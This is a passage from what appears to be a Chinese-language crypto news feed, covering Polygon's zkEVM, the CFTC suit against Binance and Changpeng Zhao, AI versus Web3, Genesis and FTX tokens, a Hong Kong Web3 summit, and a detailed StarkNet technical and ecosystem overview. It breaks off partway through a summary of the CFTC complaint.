/ 开发者 / 项目将需要比竞争对手更多的努力。 Polygon 推出 zkEVM 是一个非常重要的行业事件，zk rollup 技术将可以使区块链网络更加高效和可扩展，并且对于采用 EVM 的 dApp 来说，具有无缝集成的优势。 虽然存在风险和竞争，但 Polygon 已经证明了自己在生态系统发展、资金筹集和团队建设方面的实力和能力。 在未来的一段时间里，该项目将继续走向成功并塑造整个行业的发展方向。  ( 7 min )
    PA图说 | 一图看懂美CFTC对币安的指控和CZ的回应
    3月27日，币安及其CEO赵长鹏被曝出因违反监管规定被美国商品期货交易委员会（CFTC）在芝加哥联邦法院提起诉讼，随后赵长鹏在官方网站对CFTC的民事诉讼作出回应，并呼吁社区“忽略FUD消息、假新闻、恶意攻击等”。  ( 4 min )
    剖析AI对Web3短期、当下及长期的影响
    撰文：starzq 看到不少关于 AI 和 Web3 的小作文，也谈谈我的看法： 详细展开? 1️⃣短时间内，AI 的确「抢」了 Web3 的风头 一方面以 ChatGPT 为首的 GAI 表现出的能力不断让人惊呼，另一方面 Web3 近期的确缺少大进展，连新叙事都匮乏。 人的注意力跟随热点转移，但更多人焦虑的是资本和人才转移 @Will42W 老师在《文理两开花》的一句话很有 insight，大意为: 「大多数人的目的只是赚钱，只有存量蛋糕可分的时候，会说我们需要有更好的生产关系来分配利益；但如果通过 AI 提高生产力获得了增量蛋糕，也就没有那么关注生产关系的变革了」 那么，AI 和 Web3 真的是对立的吗？ AI 和 Web3 并不对立，而是提供不同的维度的价值：AI 带来效率价值，Web3 带来用户和生态价值。 我列了一个表格来更清晰的说明其对各方的影响，下面详细展开? a. 对用户来说 AI 提升了其工作和娱乐的体验和效率，而 Web3 带来的所有权，帮助个人更好的进行资产确权，捕获其产生的数据价值，包括与品牌和平台互动的数据，与社区共创的数据，从而把在 Web2 被平台拿走的价值返还回来 同时更公平的收益机制，更能激励用户参与和创造，形成 UGC 正向循环。 另外，我之前的?也反复提到过，GenZ 一代对数字商品的需求越来越高，渴望共同创造（co-create）和参与（participate），而 NFT 可以更好满足这类需求。 b. 对品牌 / 商家来说 AI 降低了其供给侧的生产成本，但还是需要解决获客和活跃度问题。 Web3 刚好精于此道，通过 token 的引入，一方面返还用户价值，另一方面激励用户参与（participate-to-earn），提升用户活跃度 另外通过 Open Loyalty, 品牌还可以捕获到生态价值。 c. 对（中心化）平台来说 以搜索或者电商为例，AI 肯定能带来更好的用户体验 而 Web3 的去中心化与中心化平台天然冲突，平台也需要积极探索如何打造 Web2.5 与去中心化共存，就像 CEX 也投资 DEX 一样。 d. 对投资机构来说 AI 带来的生产力提升，也意味着更确定性的投资回报，投资人纷纷布局不是没有道理的 但 Web3 也有其优势。「Web3 有更高效率的资本投资和退出通道，尤其是在当下的全球政治经济形势下」 @26x14eth 的这个点很有启发。SVB 和瑞信的破产，让大量 old money 开始进入 crypto。 Sam Altman 2 年前就预测了 AI 将对社会带来的改变: AI 会带来整个人类财富增加，但同时资本主义以不平等作为进步的代价，一个不能为每个人提供足够平等机会以取得进步的社会很难持久。 Sam 在文章《万物摩尔定律》里提出的方案是 不得不佩服 Sam 的前瞻性，但这里面也有 2 个问题 1. 并没有激励原创内容 2. 极度依赖国家机器和政府。地缘政治和银行的破产，让大众重新审视去中心化的重要性 Web3 的资产链上确权 + 智能合约，可以更好解决这 2 个问题 1. 通过对用户的数据确权，捕获其产生的数据价值，形成更好的激励机制，鼓励原创 2. 通过智能合约，形成更可靠的数字契约，包括利益分配、伦理约束等，减轻对国家机器和政府的依赖。 这一块 @myanTokenGeek 老师的思考很深入，推荐阅读。 总结 短时间内，AI「抢」了 Web3 的风头 但 2 者并没有本质冲突，而是提供不同维度的价值：AI 带来效率价值，Web3 带来用户和生态价值，对用户、商家、平台、资本影响各不相同 长期来看，AI 负责效率的同时，需要 Web3 负责公平，才能共同创造一个经济高速增长且给每个人提供足够平等机会的世界 附上其他几位老师对 AI vs Web3 的看法： 附上 Sam Altman 2 年前写下的这篇具有前瞻性的文章《万物摩尔定律》，同样适合当下再读一次，那些预测的变化已经在发生，你做好准备了吗？  ( 5 min )
    知情人士：Genesis高管曾在特权下提前购买了FTX支持的加密货币
    PANews 3月28日消息，据英国《金融时报》报道，知情人士透露，加密贷款机构Genesis高管有特权提前获得FTX支持的加密货币，即在FTT（2019年推出的FTX原生代币）和Serum（在FTX和 Alameda的支持下于2020年推出）向公众发行之前，FTX创始人Sam Bankman-Fried（SBF）以折扣价向Genesis高管门出售。 据知情人士透露，FTT和Serum代币以及Solana也被Genesis接受为Alameda抵押的抵押品，以担保其借款。 Genesis于1月倒闭，长期以来一直是Alameda Research的主要资金来源。根据美国破产法庭的记录，Genesis是FTX和Alameda最大的债权人，欠债2.26亿美元。  ( 4 min )
    香港新政送春风，大湾区Web3专家共议大潮如何起东方
    自去年10月31日香港特区政府发布《有关香港虚拟资产发展的政策宣言》开始，其陆续公布的系列加密新政，不仅表明了香港探索金融创新的担当，也宣示着将香港发展成全球虚拟资产中心与Web3中心的决心。 作为国际金融贸易中心，香港能够依托国内的独特优势，并拥有粤港澳大湾区这一未来发展的“大舞台”，在虚拟资产、金融科技等创新发展上，将会担起大湾区引进来和走出去的“超级联系人”的角色。 大潮起香江，从东方吹起的加密之风，已为大湾区乃至全球的Web3市场都注入了活力。3月24日下午，“潮起东方·大湾区WEB3峰会”在深圳召开，本次会议聚焦Web3行业的交流、发展和建设，由知名Web3投资机构WestLabs联合PANews主办，W3C DAO承办，并获得深国际前海图钉Camp和eCloudrover提供的战略支持。参会中大部分为Web3行业从业人员，包括Web3项目方、知名风投机构、媒体等。 大会的首位分享者Nano Labs创始人Jack Kong在区块链行业有着十年以上的从业经验，他还将从今年4月1日起委任香港数码港管理有限公司新董事，该公司旗下的CyberPort是一个创新的数码社区，也是香港最大的Web3社群之一，致力于促进金融科技、AI和区块链等新兴科技的发展。对香港新政有深入了解的Jack Kong，通过视频连线的方式发表了题为《香港新政解读及对Web3.0行业影响》的演讲，他表示预计未来市场的创新方向将升级为原生应用创新模式，香港有机会抓住这一波行业红利，不仅可以成为全球Web3金融中心，也有机会成为全球科技中心。 随着 Web3.0 概念的兴起，各种基于 IT 去中心化技术或分布式的技术方案也开始蓬勃发展。伊克罗德的解决方案架构师郭昊天以《亚马逊云科技助力探索下一代科技创新核心概念Web3.0》为主题，现场分享了作为一家云原生的咨询服务公司和亚马逊云科技的核心级服务合作伙伴，伊克罗德能够为多个领域的企业提供哪些服务，并对其业务流程进行了简要介绍。他还以专业的 NFT 浏览器和数据基础设施NFTScan为例，对该项目如何运用亚马逊云进行深入的技术分析。 会上最后一位分享者是IBCL社区发起人、专注Cosmos跨链生态的红军大叔，演讲主题为《Cosmos跨链生态纵览》。红军大叔是Cosmos的坚定布道者，他Cosmos的愿景与技术属性及特点讲起，对整个生态系统的基础设施、更新迭代及发展前景进行了简要说明与分析。“目前趋势是想把ZK扩展到无所不能，但我觉得反而IBC才是everywhere，IBC可以帮助不同的区块链生态系统实现跨链通信和资产转移。” “香港是 Web3.0 的新机遇吗？”是圆桌讨论环节的第一个主题，本轮由G-Rocket 的合伙人、Web3Hub 的负责人Alma Li 主持，来自Relation Labs的CMO Santry 、Trust Wallet的Scarlett 、NWG的CMO Axe、Xbank的Jason 和Everland DAO的Zane参与讨论。大家对这一问题都先后给予了肯定的回答，表示看好香港能够成为虚拟资产之都，并以政策监管、地缘优势、行业方向、人才管理等角度为切入点，论述这场机遇中的难点、风险及挑战。 根据Xangle的链游报告，亚洲拥有当今世界上最大的游戏市场，而以日韩为主导的区块链游戏行业的发展已愈加强劲。第二轮圆桌以“GameFi+2023，寻找下一个 3A？”为主题，由NEbank Damon主持，Meet48的Co-founder 毛毛 、NAGA的Co-founder Austin Lai、IGMAES的PMO Ben 和Big Time的大诚参与讨论。针对链游生命周期短，项目泡沫多等问题，众人纷纷表示游戏的落脚点终归还是可玩性与趣味性，结合Web3技术强组合性的特点，底层基础设施的建设与完善是高品质链游落地的前提。 最后一轮圆桌会议将焦点放在了行业的宏观环境与垂直领域布局，由PANews的联合创始人毕彤彤主持，ArkStream Capital的Partner 墨客、Consens Lab的VP Jasper、 AC Capital Founding的Partner Ethan和Westlabs的Partner Mark参与，共同探讨“下一个 Web3 投资赛道如何布局？”总体来看，各投资机构认为2023年会出现触及熊市底部后的反弹，市场能否在明年迎回牛市仍然是未知数。然而不论牛熊，行业总是能冒出一些优质的新项目，各方也分享了各自看好的如基础层及应用、DeFi、社交、游戏等细分赛道。 关于WestLabs WestLabs是一家专注于Web3底层技术和基础设施建设孵化和投资的机构。旗下拥有包括 West Labs Engineering、West Labs Super Engineering、West DAO等三只专注于一二级的投资基金，基金规模为5000万美金。目前已投资100余个Web3项目。 关于PANews PANews成立于2018年3月，是区块链和Web3.0领域领先的智库型信息平台，为行业用户提供具有国际视野的前沿资讯与报告。PANews优质多元的内容以图文、音频、视频等形式在全网多渠道覆盖，包含推特、微博、抖音、视频号等主流平台，旨在成为用户的Web3信息官。PANews同时还是腾讯新闻的内容合作伙伴，内容被福布斯、财新等媒体引用，获得腾讯新闻、今日头条、澎湃新闻等颁发的相关奖项。PANews的两位联合创始人均为福布斯亚洲30 under 30获奖者。  ( 4 min )
    一文全解StarkNet 技术原理及生态现状
    原文：《L2 Summer 将至？一文掌握 StarkNet 技术原理及生态》 作者：Biteye 核心贡献者Hankester 编辑：Biteye 核心贡献者 Crush Arbitrum 的 DeFi 生态已初具规模，其发放空投的决定更是让自身坐稳 Layer2 生态头把交椅。自发布空投规则到开启认领，Arbitrum One 的 TVL 已经占据整个 layer2 生态的 66.61%，活跃用户在两周内暴涨四十万。 曾经的 layer2 四大天王：Optimism、Arbitrum、zkSync、StarkNet，已仅剩后两者没有宣布空投。Optimism 和 Arbitrum 先后实践了生态积累 + 空投抢用户的打法，结果已经在 Layer2 生态的市场份额中得到体现。 随着 Layer2 生态愈发成熟，加之 EIP-4844 将大幅降低 Rollup 费用，抢占用户将成为 Layer2 制胜的核心因素。在现行的市场格局下，留给 zkSync 和 StarkNet 抢占市场时间已经不多，项目间的竞争和用户的 fomo 带来的财富效应已经让 Layer2 Summer 呼之欲出。 （注：EIP-4844 是对以太坊网络的一次改进提案，有望将 Rollup 的开销降低 10-100 倍。它将向以太坊引入一种新的交易类型，这种交易类型可以携带短暂存在的被称为 blob 的数据。之前以 Calldata 形式存储的数据可用性可以改为由 blob 进行存储，而 blob 的存储成本比 calldata 便宜得多。在用户体验层面，用户最直观的感知就是 L2 费用大幅降低，这将为 L2 生态的爆发提供重要基础。） 作为 Layer2 四大天王中估值最高（母公司 StarWare 估值 80 亿美金）的项目，StarkNet 生态项目的含金量不用多说，从近期的交易活跃度就可见一斑。 StarkNet 已经于 2022 年 11 月 16 日宣布在以太坊主网上部署了其原生代币$STRK，用于投票、质押和支付费用，代币分配仍待决定。 下文将介绍 StarkNet 及其生态内重点项目。如果对生态项目比较感兴趣的小伙伴可以直接阅读第三部分。 StarkNet 的母公司 StarkWare 成立于 2018 年, 总部位于以色列，两个主要产品为基于以太坊主网构建的扩容引擎 StarkEx 和 通用型 ZK-Rollup StarkNet。 StarWare 技术团队已经在 ZKP 领域拥有十多年的研究与工程经验，于 2018 年率先提出采用 SATRK 有效性证明解决以太坊可扩展性难题，实现解锁大规模可扩展性。 StarkWare 在 7 轮融资中累计已获得 2.73 亿美元融资，2018 年 1 月完成 600 万美元种子轮融资，同年 7 月获得以太坊基金会的 1200 万美元赠款； 2021 年 3 月份完成 Paradigm 领投的 7500 万 B 轮融资，同年 11 月份完成 5000 万美元 C 轮融资，投资方包括 Paradigm、Alameda Research、Three Arrows Capital 等； 2022 年 5 月 25 日，StarkWare 以 80 亿美元估值完成 1 亿美元 D 轮融资，Greenoaks Capital、Coatue、Tiger Global 和其他参与者领投。 与其他基于有效性证明的 zk-rollup 方案类似，StarkNet 与 StarkEx 也采用「链下计算-生成 zk 证明-链上验证」的形式来实现对以太坊的扩容。 但其通过独创的 zk-STARK 零知识证明算法、zk 友好的编程语言 Cairo、SHARP 共享验证器、多样化数据可用性来实现高交易处理速度、低成本等特性。 2.2.1 基于 STARK 的有效性证明 zk-STARK 由 StarkWare 的创始人 Eli Ben Sasson 在 2018 年的一篇论文中提出，其是 Zero-Knowledge Scalable Transparent Argument of Knowledge 的缩写，具有可拓展、透明等优良特性。 STARK 的优点也伴随着一系列权衡： STARK 的证明尺寸比 SNARK 大，因此当 Layer2 交易量较低难以分摊证明成本时，就会出现较大的确认延迟，目前 StarkNet 的交易最终确认时间在 8 小时左右，原因就在于 StarkNet 目前交易量较低，需要收集足够的交易笔数才能均摊一次有效性证明的成本； 同时 zk-STARK 需要配合 Cairo 来为交易生成有效性证明，对开发者有一定的学习门槛。 2.2.2 Cairo 编程语言 Cairo 为 StarkWare 团队于 2020 年发布的图灵完备编程语言，让不了解 STARK 的开发者也能够 Cairo 来使用 STARK 实现可验证计算。 在现存的多数证明系统中，对于每一个业务逻辑，即每一次计算，都需要生成一组代表特定计算的多项式约束，其困难在于如何将多样化的智能合约的执行结果统一成可以验证的多项式方程。 通过 Cairo 编写的程序，可以将计算结果通过 STARK 证明器直接转化成可证明的多项式方程，由此让智能合约与零知识证明实现良好的兼容性。 Cairo 是为 STARK 而生的编程语言，两者相结合可以最大程度释放 STARK 的潜力，但其与 EVM 生态的割裂一直是需要被解决的问题。 EVM 兼容是各种 zk 扩容方案争抢的高地，StarkWare 团队也在为此努力。2022 年 10 月末，StarkNet 便宣称使用 Cairo 开发出 ZK-EVM，同时以太坊客户端 Nethermind 正致力于开发 Solidity 到 Cairo 的编译器 Warp，以实现 StarkWare 对 EVM 的兼容性。 团队宣称目前 Wrap 已经支持将 Uniswap V3 重写为 Cairo 代码。随着 StarkNet 真正投入生产环境，不同方案兼容性的实际效果将会得到检验。 2.2.3 SHARP 共享证明器 SHARP 即共享证明器 (SHARed Prover)，是 StarkEx 和 StarNet 生成零知识证明的 Prover。 SHARP 可同时为 StarkEx 和 StarNet 生成有效性证明，因此可以聚合不同的 StarkEx 应用以及 StarkNet 上发生的交易，并在一个单一的 STARK 证明中证明，以此实现更快填满 STARK 证明的容量，从而提高交易处理速度和降低延迟。 递归证明是下一代前沿技术，不仅适用于一些硬编码逻辑，而且适用于通用计算。SHARP 与 STARK 结合后，能够让整个 StarkWare 生态内的交易良好实现递归的性质，带来极致的可拓展性。 2.2.4 多样化数据可用性 有效性证明的一般逻辑是「链下计算-生成 zk 证明-链上验证」，即用户在 Layer2 上发送交易->Sequencer 收集进行排序和执行，计算完成后的交易将递交 Prover->Prover 生成有效性证明，递交给主网上的 Verifier 合约->Verifier 合约对证明的有效性进行验证，若验证通过，则状态被主网确认。 数据可用性：在 Rollup 模式下，Prover 生成的证明被验证后，新状态获得有效性，状态的具体信息（如账本余额）将被写进主网，用户可以无需信任地基于被主网确认过的状态信息发起新的转账，因为主网有最新的用户余额，即数据可用性在链上。 实际上，主网消耗的 gas 成本大部分用于数据可用性的储存，而非验证证明，即主网拥有数据可用性将产生大量成本。 因此 StarkNet 提出了将数据可用性转移到链下储存的方案 Validium，链上只保存被验证过的状态的哈希值。 该方案中，数据可用性由数据可用性委员会 (Data Availability Committee, DAC) 存储，该委员会由法定人数的独立成员组成，负责监督状态正确更新，并保留已处理数据的副本。 当用户想要在新状态下提取 Layer2 资金时，需要 DAC 签名来提供具体的账本信息。Validium 能够大幅降低 Rollup 成本，但同时其牺牲了去中心化，适合用于非重要交易的数据可用性。 基于 Rollup 和 Validium 两种基础模式，StarkWare 还提供了 Volition 模式，让用户能够在交易层级从 Validium 和 Rollup 模式之间选择数据可用性的存储方式。用户可以在每个单笔交易中选择用 Validium 或 Rollup 模式进行保存。 总结起来，StarkWare 提供的三种数据可用性（DA）模式可以让 dApp 和用户根据数据重要程度进行选择，团队称目前三种方式都已在生产中可用。但无论使用的哪一种 DA 模式，所有的交易有效性都会由 STARK 有效性证明保障。 2.3.1 StarkNet 工作流程 1. 用户发起交易，并将交易发送给 Squencer 进行验证、排序和执行，并打包批次。目前 StarkNet 系统中只有一个 StarkWare 官方掌握的 Sequencer，但 StarkWare 团队计划后续将 Squencer 去中心化；Squencer 通过 Cairo OS 来执行交易，扮演了 EVM 的角色。 2. Squencer 将执行交易的踪迹递交给 Prover，由 Prover 对计算完整性生成一个有效性证明。执行踪迹是生成 zkp 的核心，记录执行踪迹是 Cairo 语言的 zk 友好特性；这里的 Prover 也为 StarkEx 生成有效性证明，且可以聚合来自不同 StarkEx 应用和 StarkNet 的交易，实现共享。 3. Squencer 和 Prover 将有效性证明和全局状态变化发送给全节点进行记录。全节点基于 P2P 网络构建，负责记录整个 Layer2 网络的交易历史和以太坊主网上与 Layer2 相关的交易。 4. Prover 将有效性证明递交给主网上的 Verifier。Verifier 是部署在以太坊主网上的智能合约，负责收取并验证 Prover 提供的有效性证明。 5. Verifier 将验证过的结果发送至主网上的 StarkNet Core 合约进行记录和保存。StarkNet Core 合约部署在以太坊主网上，用于接收 Layer2 全局状态变化信息，包括状态哈希以及数据可用性；经过 Verifier 验证过的结果是一串状态哈希，由 Verifier 写入一笔新的 Layer1 交易，并传递给 Core 合约进行保存。 6. StarkNet Core 合约接收到验证结果（状态哈希）后，从 Layer2 接收「Call data」形式的数据可用性并保存。该数据会同步给 Layer2 的全节点进行解码，以保证全节点能够记录和重建 Layer2 的历史交易；在 Validium 方案中，StarkNet Core 合约不保存数据可用性，仅保存状态哈希。 2.3.2 StarkEx 工作流程 1. 用户在应用内发起交互，由应用执行并生成交易，这些交易会被应用直接发送给 StarkEx 服务器。StarkEx 服务器是 StarkEx 为某应用定制的 Cairo 程序 2. StarkEx 服务器分批打包交易，并发送给 SHARP Prover，并生成有效性证明 3. Prover 将生成的有效性证明发送至链上的 Verifier 进行验证 4. 当验证通过后，Verifier 向 StarkEx 合约发送状态哈希；StarkEx 服务器将向主网上的 StarkEx 合约发送更新的整个状态 在整个过程中，用户与应用的交互在链下进行，应用向 StarkEx 服务器发送交易的过程在链上进行。 StarkNet 是 StarkWare 推出的通用型 Layer2，其采取有效性证明方案来获得主网的安全性，在赛道上属于 zk-rollup。 「zk-rollup 与 op-rollup 谁将占领未来」是一个老生常谈的话题，主流观点是 op-rollup 因为其技术实现难度小，EVM 兼容性好，将在短期占据主导地位； 在长期，伴随着以太坊生态的进一步爆发，op-rollup 的交互式方案将会受到局限，zk-rollup 会凭借有效性证明的非交互性以及简洁性占据主导地位。 在 zk-rollup 的细分赛道中，StarkNet 并没有在火热的 zkEVM 方向上冲锋在前，而是通过 STARK+Cairo 开辟了一条新的道路，致力于将有效性证明技术发挥到极致，催生 StarkNet 原生的生态。 目前，整个 Web3 还并未实现 mass adoption，StarkNet 的生态也仅仅是初现雏形，交易量稀少让 StarkNet 难以积攒足够数量的交易来均摊有效性证明的成本，导致 StarkNet 的交易确认时间较长，无法发挥极致的可拓展性。 但随着 Web3 的渗透率逐步上升，StarkNet 会凭借其独特的技术优势承接大量用户与交易，为以太坊生态带来多样性的同时，让更多用户享受到良好的 Web3 体验。 StarkNet 官方显示：基于 StarkNet 部署并上线的项目有 100+个，其中 53 个已经上线主网，涵盖钱包、DID、跨链桥、DID、DeFi、NFT、Game 等多种项目类型。 以下将选取重点类型中的重点项目进行介绍。更多项目可通过 StarkNet 生态列表自行了解。 https://www.starknet-ecosystem.com/en 3.1.1 Argent X Argent X 是由 Argent 推出的 StarkNet 钱包，也是第一个支持 StarkNet 的钱包，其利用 StarkNet 原生的账户抽象特性来实现多重签名和无助记词特性，同时借助 StarkNet 优秀的性能实现更低的交易费用和更快的确认时间进行交易。 Argent X 的用户可以通过 ios 和谷歌插件两个方式使用 Argent。其内置的交换、质押、借贷等 DeFi 功能让用户能在钱包里完成 DeFi 的一站式操作。 Argent 还提供生物特征验证、守护者机制等功能让用户获得 web2 体验。Argent X 的合约安全性已经过 Trail of Bits, Solidified and G0 Group 三家审计公司的认证。 Argent 于 2022 年 4 月获得 4000 万美金的 B 轮融资，由 Fabric Ventures 和 Metaplanet 领投。 3.1.2 Bravvos Bravvos 同样是一个运行在 StarkNet 上自托管账户抽象钱包。Bravvos 致力于提供提供无缝的 Web2.0 用户体验，可在 iOS、安卓以及多种浏览器上使用，同时消除了助记词，让用户能够恢复账户。 Bravvos 也计划提供类似质押、借贷等 DeFi 服务。Braavos 还支持账户分割，通过支持提现限制和提现延迟时间，将长期（高金额）储蓄和日常（低金额）消费分开，并让用户能够查看每笔交易的明细，实现精细化管理链上资金。 Bravvos 于 2022 年 10 月宣布完成 1000 万美金融资，由 Pantera Capital 领投。 3.2.1 StarkGate StarkGate 是由 StarkWare 开发的以太坊↔Starknet 官方跨链桥，帮助用户在以太坊和 StarkNet 间实现 ETH 和 ERC-20 代币的跨链交易。 StarkGate 与以太坊之间的桥接器通过 StarkNet 的消息传递机制进行通信，并基于 STARK 的计算压缩能力实现低成本交互。 3.2.2 Orbiter Finance Orbiter Finance 是一个去中心化的跨 Rollup 桥，能够让用户在 ETH 主网、StarkNet、 zkSync、Loopring、Arbitrum、Optimism、Polygon、ZKSpace、Immutable X、dYdX、Metis、BNB Chain 和 Boba 之间进行资产跨链。 Orbiter 桥通过独特的做市商模式，让用户获得了手续费低、速度快等优秀体验，但其目前仅支持 ETH、USDC、USDT、DAI 四个币种的转账。 Orbiter 于 2022 年 11 月完成首轮融资，Tiger Global、Matrixport、A&T Capital、StarkWare、Cobo、imToken、Mask Network、Zonff Partners 等参投，融资金额未披露。此外，Vitalik 还曾向其捐赠 16 ETH。 3.3.1 StarkNet ID StarkNet.id 是 StarkNet 的域名服务（.stark），让用户免费铸造基于 StarkNet 的去中心化身份。 用户还可以将任何数据附加到 Starknet 身份上，包括从 Web2 的社交媒体帐户到 Web3 的 ENS 域名等身份标签，团队后续计划推出配套 StarkNet 身份仪表盘和更多功能，让用户能够更容易管理和构建更加全面的去中心化身份系统。 根据数据显示，目前被铸造出的 StarkNet.id 的总量 148.05K，持有用户数 85.28K，地板价为 0.015eth 左右，总交易量 1.16eth（2023.3.26）。 3.3.2 WIW Protocol WIW 是一个注重隐私保护的链上身份协议，能够根据用户链上行为生成对应标签，帮助用户构建身份系统，主要涵盖三个应用场景： 3.4.1 10KSwap 10KSwap 是部署在 StarkNet 上的第一个开源 AMM 协议，旨在利用 rollup 的性能为 AMM 协议的性能，为 L2 世界带来更低的费用、更少的摩擦以及更好的流动性。 目前 10KSwap 支持了 ETH、USDC、DAI、WBTC、USDT 五种代币间的 swap，与传统 swap 类似，用户也可以向 10Kswap 提供流动性来赚取做市收益。 目前，10Kswap 的流动性约为 120w 美金，日交易量约为 82.86w 美金（2023.3.26），仍然处于早期阶段。 3.4.2 Nostra Nostra 是基于 StarkNet 部署的去中心化借贷协议，是 StarkNet 首款支持闪电贷的协议，也提供了 StarkNet 第一个原生稳定币$UNO。Nostra 旨在构建 StarkNet 的流动性层，由三个产品组成：Nostra 货币市场、UNO、Nostra Swap： 3.4.3 ZKX ZKX 是 StarkNet 上第一个具有自我托管和社区治理的永续期货交易平台。该协议旨在通过分散的节点网络和升级的交易体验提供进一步的可扩展性，并向 StarkNet 和以太坊上的任何用户提供永续掉期和衍生品。 ZKX 出台了一系列措施来鼓励用户进行交易，包括交易和质押赚取 USDC，提高交易量解锁 ZKX 高级功能等。ZKX 于 2022 年 7 月宣布完成了 450 万美金种子轮融资，投资方包括 StarkWare、Alameda Research、Huobi、Amber Group 和 Crypto.com 等。 3.5.1 Aspect Aspect 是 StarkNet 生态中首个 NFT 交易平台，于 2022 年 8 月推出，用户可以在该平台上铸造、上传和买卖 NFT。目前其交易量仍然较小，处于早期阶段。 3.5.2 Mint Square Mint Square 是另一个基于 StarNet 上的 NFT 创作与交易平台，致力于为用户提供更便宜、更快确认速度的 NFT 交易体验，其同时也部署在 zkSync Era 上。目前其交易量略高于 Aspect，但也比较早期。 3.6.1 cartridge.gg StarkNet 上的链游集成平台，类似 Web2 中的 Steam 游戏商城。一方面，Cartridge 能够帮助用户筛选链游、与好友进行互动。 另一方面，Cartridge 作为链游基础设施也能够结合 DID、钱包等，为玩家提供更加丰富的链上体验。 3.6.2 Briq Briq 是构建在 StarkNet 上的 3D 方块构建 NFT 类型链游，允许任何人构建单独虚拟世界存储链上，用户可以使用 Briqs 建造 ERC-1155 标准的 NFT、构建链游。目前 Briq NFT 的总铸造数量为 119.11K，持有用户数 98.43K，地板价约为 0.12eth，总交易量 98.57eth（2023.3.26）。 3.6.3 Influence Influence 是一款沉浸式太空战略沙盒 MMO，项目代币 $SWAY。玩家拥有专属的小行星，通过操纵不同职业的船员，进行采矿、建筑、贸易、研究、战斗等。 目前 Influence 已进行三轮有奖测试，正在持续积极开发中，发布日期尚未最终确定。目前 Influence Asteroids 资产的总交易量微 1384eth，地板价 0.0349eth（2023.3.26）。 3.6.4 lootrealms Loot Realms 由游戏工作室 Bibliotheca DAO 开发，是一个大型多人、链上可组合的策略类游戏生态，代币 $LORDS。 玩法类似于 Web2 的军事沙盘游戏，如 EVE、率土之滨等，玩家需要搭建可持续的经济系统来生产资源，还要通过构建军事力量保护与争抢资源。LootRealms 游戏世界由 8000 个 Realms（领土）组成，目前 Realms 总交易量 6532eth，地板价 0.4799eth（2023.3.26）。 StarkNet 凭借其强大的技术优势和资本加持，在 Layer2 方案中走出了独特的道路。其通过 STARK+Cairo 充分激发了有效性证明的潜力，在处理大量交易时能够相对其他方案更加游刃有余。 StarkNet 暂时放弃了良好的 EVM 兼容性，但这也意味着 StarkNet 能够摆脱 EVM 框架的束缚，获得更加灵活的开发体验，吸引多元化的开发者。 在长期来看，其更有潜力来承接生态的爆发，同时也将为以太坊生态带来多元化的特性。目前，StarkNet 的生态已经初现雏形，但仍处于早期阶段，这对用户来说也是不错的入局机会。 参考材料 [1] https://starknet-zh.notion.site/StarkNet-ca5af6495c3642e6b48424202fbec3d1 [2]https://www.starknet-ecosystem.com/en [3]https://foresightnews.pro/wiki/project/8577 [4] https://docs.starkware.co/starkex/overview.html [5]https://foresightnews.pro/article/detail/22987 [6]https://mirror.xyz/0xd05cFA28Eaf8B4eaFD8Cd86d33c6CeD1a1875417/vyTBBINJw5zdnXA8wLb Nqd3nORWAa3yoizubluJ6VTE [7] https://xueqiu.com/1903522932/222836004 [8]https://www.panewslab.com/zh/articledetails/jt8b7qkk.html [9]https://david-barreto.com/starknets-architecture-review/#more-4602  ( 11 min )
    彭博社：香港监管机构正召集加密公司和银行之间的会议，以促该行业融资
    PANews 3月28日消息，据彭博社报道，中国香港监管机构正在召集加密公司和银行家之间的会议，以促进该行业的融资。 据该媒体看到的活动细节，圆桌会议将于4月28日在香港金融管理局举行，“以促进直接对话”和 “分享开设和维护银行账户的实际经验和观点”。该会议将由香港金融管理局和证券及期货事务监察委员会联合举行，这两个监管机构负责监督稳定币和加密货币交易所。 香港金管局和证监会的发言人表示，他们不会就任何细节发表评论，但补充说，他们正在与利益相关者保持对话。  ( 4 min )
    速览美CFTC起诉币安及赵长鹏的十大要点
    原文：《IN THE UNITED STATES DISTRICT COURTFOR THE NORTHERN DISTRICT OF ILLINOIS》 编译：麟奇，ChainCatcher 原告商品期货交易委员会（“CFTC”或“委员会”），一个独立的联邦机构，就其针对被告 Changpeng Zhao（“Zhao”）、Binance Holdings Limited、Binance Holdings (IE) Limited、Binance (Services) Holdings Limited（统称为“币安”或“币安平台”）以及Samuel Lim（“Lim”）（统称为“被告”）的诉讼，指控如下： 1. Binance是全球最大的中心化数字资产交易所，由多个不透明的企业实体组成，最终由Binance首席执行官赵长鹏控制。Binance的大部分交易量和盈利来自美国，包括涉及商品的数字资产现货和衍生品交易。 2. 自2019年7月起，Binance在赵长鹏的指导和控制下，以及在Lim的故意和大量协助下，开始向美国客户招揽和接受订单，接受保证金，并为涉及比特币（BTC）、以太坊（ETH）和莱特币（LTC）等商品的数字资产期货、期权、掉期和杠杆零售商品交易提供交易设施。 3. 自2017年平台启动以来，Binance采取了精心策划的分阶段方法来扩大其在美国的市场份额，尽管其公开表示试图阻止或限制美国客户访问其平台。Binance最初针对美国的战略侧重于招揽零售客户。在后期阶段，Binance越来越依赖美国的人员和供应商，并积极培养有利可图且具有商业重要性的“VIP”客户，包括位于美国的机构客户。 4. 被告忽视了适用的联邦法律，同时鼓励Binance的美国客户基础，因为这样做对他们来说是有利可图的。例如，根据Binance 2020年8月的文件，该平台从衍生品交易中赚取了6300万美元的费用，约16%的账户由Binance确认为位于美国的客户。到2021年5月，Binance从衍生品交易中赚取的月收入增加到了11.4亿美元。Binance将商业成功置于遵守美国法律之上。 5. Binance故意掩盖运营交易平台的实体的身份和位置。例如，Binance的“使用条款”声称是与“Binance运营商”之间的合同，这个术语没有具体含义。在相关时期，Binance在新加坡、马耳他、迪拜和东京等地设有办事处，但有意不披露其执行办事处的位置。相反，赵长鹏表示Binance的总部是他随时所在的地方，这反映了试图逃避监管的故意策略。 6. 赵长鹏、Lim和Binance的其他高级管理人员未能妥善监督Binance的活动，实际上还积极促使违反美国法律，包括协助和指导位于美国的客户绕过Binance实施的合规控制。Binance及其高管、员工和代理人指导美国客户使用虚拟专用网络（VPN）来掩盖其位置；允许未提交身份和位置证明的客户在宣布禁止此类行为后继续在平台上交易；并指导在美国的VIP客户以新成立的空壳公司名义开设Binance账户，以逃避Binance的合规控制。 7. 尽管Binance依赖位于美国的客户来产生收入并为其各种市场提供流动性，但Binance从未在CFTC注册过，并无视了美国金融市场的完整性和活力所需的联邦法律，包括要求实施防止和检测洗钱和恐怖主义融资控制的法律。 8. 在相关时期，通过Binance平台的运作，被告Binance在Lim和赵长鹏的协助下违反了CEA和法规的核心条款。 9. 除非受到法院的限制和禁令，被告可能会继续从事本诉讼中所述的行为和类似行为。 10. 